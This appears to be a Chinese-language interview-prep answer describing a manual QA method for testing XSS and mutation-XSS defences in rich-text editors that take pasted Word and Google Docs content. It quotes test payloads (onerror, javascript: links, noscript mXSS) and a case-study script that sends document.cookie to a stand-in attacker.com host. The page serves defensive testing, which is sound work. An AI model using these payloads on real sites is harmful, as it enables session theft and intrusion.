手动质量保证手动QA工程师

设计一个全面的手动测试方法来验证用户从**Microsoft Word**和**Google Docs**粘贴内容到基于浏览器的富文本编辑器时的**XSS**防护和结构完整性,特别针对在浏览器解析过程中变异的**SVG**基于脚本注入和**mXSS**向量?

用 Hintsage AI 助手通过面试

问题的回答

历史:富文本编辑器(RTEs)在内容管理系统中无处不在,但它们代表了一个关键的攻击面。当用户从Microsoft WordGoogle Docs复制内容时,剪贴板包含富含HTML的专有元数据、内联样式以及可能隐藏在SVG标签或CSS表达式中的恶意负载。核心问题是,天真的清理可能会剥离可见的格式,同时会漏掉可执行的脚本,或相反,过度清理并破坏像复杂表格这样的合法语义结构。系统的手动测试方法必须验证安全性(无XSS)和保真度(保持结构)。

解决方案:实施一个三阶段剪贴板攻击协议

  1. 向量准备:策划一个粘贴有效负载的库,包括含有<script>的嵌入式<foreignObject>SVG,适用于传统IECSS behavior: url(#default#VML),以及设计用来利用浏览器解析怪癖的格式错误的HTML5标签(例如,<noscript><img src=x onerror=alert(1)></noscript>)。

  2. 跨引擎粘贴模拟:从Word(带有跟踪更改、评论和嵌入的Excel对象)、Google Docs(带有建议的编辑和嵌入的图形)以及从浏览器开发者工具复制的原始HTML执行实际的复制粘贴操作(而不是输入)。分别在ChromeSafariFirefoxEdge中进行测试,因为每个浏览器对剪贴板MIME类型(text/htmlapplication/rtf)的处理不同。

  3. 状态验证:粘贴后,通过DevTools检查DOM以确认on*事件处理程序、javascript: URLs和<script>标签不存在,同时验证语义元素(<thead><colgroup>、嵌套列表)保持完整。然后保存内容,重新加载页面,再次检查序列化的HTML以检测变异XSS,查看浏览器解析器在重新渲染过程中是否复活了脚本。

生活中的情况

问题:一家法律科技初创公司开发了一款合同审核应用,律师们从Microsoft Word粘贴条款。一次安全审计发现,包含供应商徽标(SVG格式)的合同在审阅者的仪表板中执行了任意的JavaScript。这些SVG文件在<foreignObject>标签中包含了<script>fetch('https://attacker.com?cookie='+document.cookie)</script>。编辑器将它们显示为无害的图像,但存储在PostgreSQL数据库中的原始HTML在以只读视图使用dangerouslySetInnerHTML时执行而没有二次清理。

考虑的解决方案:

解决方案A:剥离所有HTML并转换为纯文本。 优点:绝对安全保证;无XSS可能。缺点:律师们失去了合同子条款的缩进等重要格式、风险评估的颜色高亮和费用表格结构。这使得该应用无法用于法律工作流程,导致用户立即拒绝。

解决方案B:仅依赖客户端的DOMPurify,配置宽松。 优点:保留用户体验和格式;易于实施。缺点:客户端清理可能被直接调用恶意负载的REST API绕过,从而完全绕过编辑器。此外,DOMPurify的默认设置允许在特定Android WebView版本中执行的SVG标签和数据属性。

解决方案C:实施深度防御,进行激进的客户端清理以获得即时反馈,结合使用OWASP Java HTML Sanitizer的服务器端清理,使用严格的策略,仅允许结构标签。 优点:在API级别捕获绕过尝试;允许必要的法律格式,同时消除脚本。缺点:需要维护两个策略配置(前端和后端);处理100多页合同时可能会导致性能下降;如果政策不匹配,可能出现“同意对话框”。

选择的解决方案:我们选择了解决方案C,并增加了一个专门针对粘贴操作的手动QA检查点。QA团队创建了一个“恶意剪贴板套件”,包含75个以上的CSP绕过向量,包括SVG动画和MathML容器。他们发现DOMPurifyALLOWED_URI_REGEXP允许通过HTML实体编码的javascript: URLs。他们配置了清理器,将所有SVG展平为带有Base64编码的静态<img>标签,剥离所有互动元素。

结果:该漏洞在生产发布前被修补。该方法捕获了两个额外的mXSS向量,涉及在Safari阅读器模式下变为可执行脚本的HTML注释。法律团队保留了完整的格式能力,随后的渗透测试没有发现粘贴管道中的注入向量。

候选人常常遗漏的内容

如何检测变异XSS(mXSS),即浏览器的解析器在插入后修改了清理后的字符串,重新创建可执行脚本?

许多候选人在使用编辑器的“源视图”或DevTools后立即检查HTML。然而,mXSS利用的发生在将清理后的字符串分配给innerHTML时,浏览器解析它时,生成的DOM与原始字符串由于解析器规范化而不同(例如,<noscript><img title="--><script>...变体)。正确的方法是执行往返测试:在插入后使用element.innerHTMLDOM序列化回字符串,然后与预期的清理输出进行比较。如果在此序列化后出现新的<script>标签或事件处理程序,则清理器就有漏洞。此外,在支持的情况下,特别在IE11中测试,因为它的格式错误表格的解析行为与BlinkGecko有显著不同。

为什么内容在编辑器中可以正确并安全地粘贴,但在通过dangerouslySetInnerHTML在只读React视图中加载相同内容时却未通过安全验证?

候选人常常忽略“上下文清理漂移”。富文本编辑器在编辑上下文中进行清理,但查看上下文可能使用不同的React版本、内容安全策略头或其他重新解析内容的附加JavaScript库。答案是,您必须通过整个生命周期验证存储的内容:粘贴 → 保存到API → 从API检索 → 在只读视图中呈现。具体而言,检查在数据库存储过程中出现的双重编码问题,其中&lt;变为&amp;lt;,或者编辑器的UTF-8处理与数据库的分类之间的Unicode规范化差异。用包含智能引号(曲线引号)和长破折号的有效负载进行测试,这些都是Word自动替换的,以确保数据库的UTF-8MB4配置不会截断多字节字符,可能会破坏清理边界并允许脚本注入。

当应用程序使用基于Markdown的编辑器(如CKEditor 5Markdown输出)而不是原始HTML存储时,您如何手动验证清理行为?

这测试了格式转换风险的理解。当编辑器将HTML转换为Markdown(例如,通过Turndown)时,恶意负载可能隐藏在没有Markdown等价物的HTML属性中,可能被不完全剥离或转化为在点击时执行的链接引用。正确的方法论包括:(1)将恶意HTML粘贴到编辑器中,(2)切换到Markdown源视图以验证危险属性已消失(不仅仅是视觉上隐藏),(3)转换回HTML(如果支持)以确保往返不会复活脚本,以及(4)检查Markdown链接语法[text](javascript:alert(1))是否被解析器的链接验证正则明确阻止,而不仅仅是渲染器。此外,验证确保<!-- -->(可能会破坏Markdown解析器)的HTML注释被剥离,以防止敏感服务器数据泄漏。